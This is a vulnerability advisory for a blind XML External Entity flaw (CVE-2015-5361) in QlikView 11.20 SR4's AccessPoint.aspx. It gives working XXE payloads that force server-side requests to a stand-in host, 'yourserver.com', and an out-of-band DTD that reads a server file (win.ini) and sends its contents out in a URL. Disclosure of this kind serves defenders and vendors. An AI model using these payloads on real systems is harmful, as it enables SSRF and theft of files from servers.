Advisory Details:


(1) Vendor & Product Description
--------------------------------

Vendor: QLIK

Product & Version:
QlikView v11.20 SR4

Vendor URL & Download:
http://www.qlik.com/us/explore/products/qlikview

Product Description:
"The QlikView Business Discovery platform delivers true self-service BI that empowers business users by driving innovative decision-making."


(2) Vulnerability Details:
--------------------------
The Qlikview platform is vulnerable to XML External Entity (XXE) vulnerabilities. More specifically, the platform
is susceptible to DTD parameter injections, which are also "blind" as the server feeds back no visual response. These vulnerabilities can be exploited
to force Server Side Request Forgeries (SSRF)in multiple protocols, as well as reading and extracting arbitrary files on the server directly.

Proof of concept for XXE [CVE-2015-5361]:
-----------------------------------------
URL: https://<QLIKVIEW>/AccessPoint.aspx

Attack Pattern for SSRF: 
------------------------
In POST body:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE update [
<!ENTITY % external SYSTEM "http://yourserver.com">
%external;]>

OR simply 
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag PUBLIC "-//WHITE//NINJA//EN" "http://yourserver.com">

As this is a blind XXE, you will see no response from server, but yourserver.com will receive the HTTP request from the Qlikview server. Also works with FTP and HTTPS protocols.

Attack Pattern for reading and extracting arbitrary files: 
------------------------------------------
In POST body:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % remote SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % dtd SYSTEM "http://yourserver.com/test.dtd">
%dtd;
%send;
]]>

The test.dtd file on yourserver.com will need to contain the following:

Test.dtd
--------
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://yourserver.com/?%remote;'>">
%all;

As the response is blind, you will see no response from the server, but yourserver.com will receive the file contents as part of the URL in lieu of the %remote parameter.
